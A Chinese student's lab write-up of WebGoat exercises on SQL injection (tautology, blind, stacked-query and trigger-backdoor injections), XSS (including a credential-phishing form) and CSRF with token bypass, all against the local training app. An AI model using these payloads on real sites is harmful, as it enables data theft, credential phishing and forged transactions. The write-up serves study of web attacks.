基础问题回答

(1)SQL注入攻击原理,如何防御

  • 原理:

    程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者利用SQL命令欺骗服务器执行恶意的SQL命令,获得某些他想得知的数据。
  • 防御:

    就像我们上次做实验对网页登陆的账户做了密码长度的限制,可以限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入,把用户输入的or, –,';等关键字和特殊字符都过滤了,大不了抛出异常而已呗…… 或者用语言内建的安全机制(比如说 JDBC 的PreparedStatement就可以很大程度的防止 SQL 注入)

(2)XSS攻击的原理,如何防御

  • 原理:

    XSS攻击全称跨站脚本攻击,也由于没有对用户输入数据的合法性进行判断,攻击者在网页上插入恶意代码,攻击用户。
  • 防御:

    与防御SQL注入一样,可以通过检查用户的输入字符串,并做出限制。

(3)CSRF攻击原理,如何防御

  • 原理:

    跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。
  • 防御:

    使用验证码,表单中附加随机值,以此来防止冒充。

环境配置

  • 去官网提供的GitHub上下载,那个速度是真的捉急,这里感谢下齐帅提供的

    WebGoat8.0

  • 我后面自己下的WebGoat7.1密码: 4327

  • 顺便附上自己在网上找到的

    WebGoat中文手册以及WebGoat用户指南

  • 下载好后,使用命令:java -jar webgoat-server-8.0.0.M14.jar运行WebGoat

  • 然后在浏览器中打开http://localhost:8080/WebGoat进入登录界面:

  • 这里我的一开始一直显示 Firefox can’t establish a connection to the server at localhost:8080.

  • 一开始以为是8080端口被占用了,利用netstat -tupln |grep 8080发现没有被占用,然后去从新看了下安装教程,怀疑是JDK的问题.

  • 这里贴上一个自己安装JDK的教程,安装完后成功打开。

  • 首先,去官方网站下载JDK1.8对应的版本

    JDK

  • 将下载好的JDK包提取出来,解压出来文件夹名为 jdk1.8.0_172

    开始拷贝目录 手动安装 (注意文件夹名根据自己的实际情况来设定)

 sudo mkdir -p /usr/local/java
cp -r jdk1.8.0_172/ /usr/local/java/
  • 如图

  • 接下来配置JDK的环境变量
sudo gedit /etc/profile
  • 复制以下内容追加到文件末尾(注意文件夹名根据自己的实际情况来设定)
JAVA_HOME=/usr/local/java/jdk1.8.0_172
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
  • 如图:

  • 告诉系统JDK的位置,最后2行代码不是重复,是要执行2次 。 (注意文件夹名根据自己的实际情况来设定)

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_172/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_172/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_172/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_172/bin/javaws" 1
  • 如图:

  • 设置新的JDK为默认,代码也是执行2次(注意文件夹名根据自己的实际情况来设定)

sudo update-alternatives --set java /usr/local/java/jdk1.8.0_172/bin/java
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_172/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_172/bin/javac
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_172/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_172/bin/javaws
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_172/bin/javaws
  • 如图:

  • 重载Profile文件

source /etc/profile
  • 输入命令查看Java版本号
java -version
  • 好了,至此,安装成功 !

  • 尝试访问WebGoat,成功!

  • 8.0的这里可以自己申请个账号,7.1的话有默认账号,用默认的就行。

  • 成功登陆:

  • 等开始做才做才发现,这是个大坑,由于WebGoat不同的版本课程都不一样,我在官网上下的是最新的8.0.0,网上找到的教程都是低版本的,高版本和低版本的操作完全不一样,只能参考着低版本再开着翻译做,但做完SQL之后WebGoat8便打不开了,可能是因为两个不共存的原因。

  • 这里我用7.1重新做了一遍

Injection Flaws

Numeric SQL Injection

  • 原理大概就是这里有一个SQL语句
SELECT * FROM weather_data WHERE station = [station]
  • 可以拦截报文将station字段后补充成一个永真式101 OR 1=1。

  • 但这里没有文本框让我们直接进行输入操作,只有一个滑动文本框让我们选择,这里提供一个简单的方法,不需要通过burp-suite,kali上自带的火狐开发人员工具调试,按F12或者右键审查元素打开。

  • 于是整个语句就变成了

SELECT * FROM weather_data WHERE station = 101 OR 1=1
  • 由于1=1恒成立,点击go,看到所有城市的天气,成功。

Log Spoofing

日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志,在Username输入

zh%0d%0aLogin Succeeded for username: admin
  • 其中%0d和%0a为CRLF换行符,看到的输出为

  • 第二行就是我们刚刚伪造出来的

XPATH Injection

  • 题干的意思大概是你的账号是Mike/test123。你的目标是尝试查看其他员工的数据。
  • 和上面一样,尝试构造永真式
yzh' or 1=1 or 'a'='a
  • 成功:

String SQL Injection

  • 字符注入,这里和前面数字注入的方法差不多,构造一个永真式,还是用的之前的'or 1='1
yzh' OR '1'='1
SELECT * FROM user_data WHERE last_name = 'yzh' OR '1'='1'
  • 成功:

LAB: SQL Injection

阶段1:String SQL Injection

  • 使用字符串SQL注入绕过认证,让我们可以登陆Boss(“Neville”)的账号。
  • 类似之前利用永真式想办法绕过验证,修改password=' or'1'='1,结果登陆失败,审查元素将最大长度maxlength改为50继续,成功~

阶段2:Parameterized Query #1

  • 这里需要WEBGOAT的开发者版本,先跳过了。

阶段3:Numeric SQL Injection

  • 绕过认证执行SQL注入,使登录Larry账户,但是能查看Boss的信息。
  • 还是和之前的想法一样,我们只需将employee_id参数修改为:101 or 1=1 order by salary desc

Database Backdoors

  • 利用SQL输入插入后门,首先是一个SQL注入点,可以通过数字注入看到所有人的薪水,然后使用以下SQL指令可以修改薪水

  • 在User ID输入框输入:101;update employee set salary = 65000 where userid=101; ,点击提交,如下图所示:

  • 使用SQL注入注入一个后门,下边这个后门好象是创建新用户的时候会自动修改邮箱为你的邮箱

101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.
  • 点击提交,如下图所示:

Blind Numeric SQL Injection

  • 数字盲注,有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注。
  • 使用盲注进行爆破,在“Enter your Account Number”输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
  • 根据返回的提示来判断
“(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000"
  • 为真或为假,逐步缩小范围,最后尝试用2364进行请求,返回成功,然后把2364输入表单,提交,如下图所示:

Blind String SQL Injection

  • 使用盲注进行爆破,在“Enter your Account Number”输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
  • 根据返回的提示来判断name的范围,直至返回成功,然后把Jill输入表单,提交,如下图所示:

Cross-Site Scripting (XSS)

Phishing with XSS

  • 使用XSS和HTML插入制作一个钓鱼网站,代码如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 成功:

LAB:Cross Site Scripting

  • 这里通过6个阶段系统的介绍了XSS。

  • Stage1-4这四个步骤Stage5-6主要是介绍了储存型XSS,而Stage5-6介绍了反射型的XSS,步骤如下:

阶段1:

  • 使用Tom登录,编辑用户信息,在Street字段输入以下代码:
<script>alert("20154327");</script>
  • 成功:



  • 阶段2、4、6需要开发者版本先调过了。

阶段3:执行一个先前的存储XSS攻击

  • 使用“David”登录,然后查看“Bruce”的信息,即可完成。

阶段5:执行一个反射XSS攻击

  • 在搜索员工页面使用脆弱性手工制造一个包含反射XSS攻击的URL。验证使用此链接的另一个用户被此攻击影响。
  • 以“Larry”登录,在“Search Staff”搜索框输入“”。

Stored XSS Attacks

  • 最典型的储存型XSS的例子——留言板
  • 因为可以输入任何信息,如果有人进行了恶意留言,那么之后的人便会中招。
  • 具体操作:
  • 在Title里输入“Test Stored XSS”,在 Message里输入
<script>alert("20154327yangzhenghui!");</script>
  • 如下图所示:

Reflected XSS Attacks

  • 当未验证的用户输入用在HTTP响应时会发生XSS。在一个反射XSS攻击中,攻击者可以使用攻击脚本制造一个URL,然后提交到另一个网站、发邮件或让受害者点击。

CSRF

Cross Site Request Forgery(CSRF)

  • 实验目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。

  • 这里是一个储存型XSS和跨站请求伪造结合的示例,CSRF就是冒名登录,用代码伪造请求

  • 在Title输入:20154327,在Message输入:

<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
  • 点击“Submit”,在Message List下出现一条提交的记录,如下图所示:

CSRF Prompt By-Pass

  • 在Title输入:20154327;在Message输入:
<iframe
src="attack?Screen=280&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
  • 如下图所示:



CSRF Token By-Pass

  • 在Title输入:20154327
  • 在Message输入构造的代码:
<script>
var tokensuffix; function readFrame1()
{
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("form")[0];
tokensuffix = '&CSRFToken=' + form.CSRFToken.value; loadFrame2();
} function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
}
</script> <iframe src="attack?Screen=273&menu=900&transferFunds=main"
onload="readFrame1();"
id="frame1" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe> <iframe id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
  • 点击Submit,然后在Message List里点击“CSRF Token By-Pass Attack”,如下图所示:

实验总结与体会

  • 提交实验的时候发现,博客园居然也没有设防,下面是我上面钓鱼网站用的,直接就在下面显示出来了,有点恐怖啊兄弟。。。

  • 这次实验一开始下载是最新版的WebGoat8,做完第一部分SQL注入实验后,想尝试下WebGoat7.1的SQL注入加深自己的印象,于是去网上下载了WebGoat7.1进行实验,但返回来继续用8往下做的时候,WebGoat8便提示:There was an unexpected error. Please try again。便只能用7.1一路做下去,将7.1上关于SQL注入攻击、XSS攻击、CSRF攻击部分能做的全部做了一遍,加深自己的理解。






Enter Username:

Enter Password:


20154327 Exp9 Web安全基础的更多相关文章

  1. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  2. 20155312 张竞予 Exp9 Web安全基础

    Exp9 Web安全基础 目录 基础问题回答 (1)SQL注入攻击原理,如何防御 (2)XSS攻击的原理,如何防御 (3)CSRF攻击原理,如何防御 实践过程记录 WebGoat准备工作 1.XSS攻 ...

  3. Exp9 Web安全基础

    Exp9 Web安全基础 20154305 齐帅 一.实验要求 本实践的目标理解常用网络攻击技术的基本原理. Webgoat实践下相关实验: [目录] [第一部分 WebGoat 8.0] 1.Web ...

  4. 20155205 郝博雅 Exp9 Web安全基础

    20155205 郝博雅 Exp9 Web安全基础 一.实验内容 一共做了13个题目. 1.WebGoat 输入java -jar webgoat-container-7.1-exec.jar 在浏览 ...

  5. 20155339 Exp9 Web安全基础

    Exp9 Web安全基础 基础问题回答 (1)SQL注入攻击原理,如何防御 原理:它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语句得到 ...

  6. 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础

    2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...

  7. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  8. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  9. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

随机推荐

  1. Web程序中打开QQ、邮箱、阿里旺旺等

    在网页中使用链接打开QQ的聊天窗口有两种方式: uin的值为qq号 <a target="_blank" href="@Url.Content("tenc ...

  2. es知识点

    版权声明:本文为博主原创文章,未经博主允许不得转载.转载请务必加上原作者:铭毅天下,原文地址:blog.csdn.net/laoyang360 https://blog.csdn.net/wojius ...

  3. 12.2Data Guard新特性--使用DBMS_DBCOMP.DBCOMP数据比较

          Oracle Data Guard会主动对Hot数据(数据正被读取或修改)执行验证, 无论是primary还是standby,但对于那些Cold数据不会做任何检查和校验.所以在12.2版本 ...

  4. jsp 页面间传递参数

    JSP页面间传递参数是经常需要使用到的功能,有时还需要多个JSP页面间传递参数.下面介绍一下实现的方法. (1)直接在URL请求后添加 如:< a href="thexuan.jsp? ...

  5. 转:HTTP Status 404(The requested resource is not available)的几种解决方法

    原文地址 原因:servlet没有配置正确 ,查看web.xml确认正确,以及自己的请求路径正确 在IE中提示“404”错误有以下三种情况 1.未部署Web应用 2.URL输入错误 排错方法: 首先, ...

  6. MySQL 索引的介绍与应用

    Mysql索引 一. mysql 索引 索引是对数据库表中一列或多列的值进行排序的一种结构,使用索引可快速访问数据库表中的特定信息. 二:MySQL索引类型 按存储结构区分:聚集索引(又称聚类索引,簇 ...

  7. September 17th 2017 Week 38th Sunday

    Distance could make you forget about them, but the memories would always be there. 距离会让你遗忘,但是回忆却始终在那 ...

  8. 【原创】MySQL 生产环境备份还原

    公司需要对生产环境的数据库进行备份,我接下了这份任务. 1. 首先谷歌了以下大家的备份方法 许多都使用到了Xtrabackup这个工具,超大型的公司可能有其他的的备份方法,这个工具对于中小型公司,甚至 ...

  9. 【转】Json判断是否存在某个属性和遍历各个属性和值

    var field='uid'; var jsonObj={uid:'001'}; 一. jsonObj[field] != undefined //注意:如果field值正好是undefined那就 ...

  10. Java 替换空格

    题目描述 请实现一个函数,将一个字符串中的空格替换成“%20”.例如,当字符串为We Are Happy.则经过替换之后的字符串为We%20Are%20Happy. 解一: 由于最近在学习Head F ...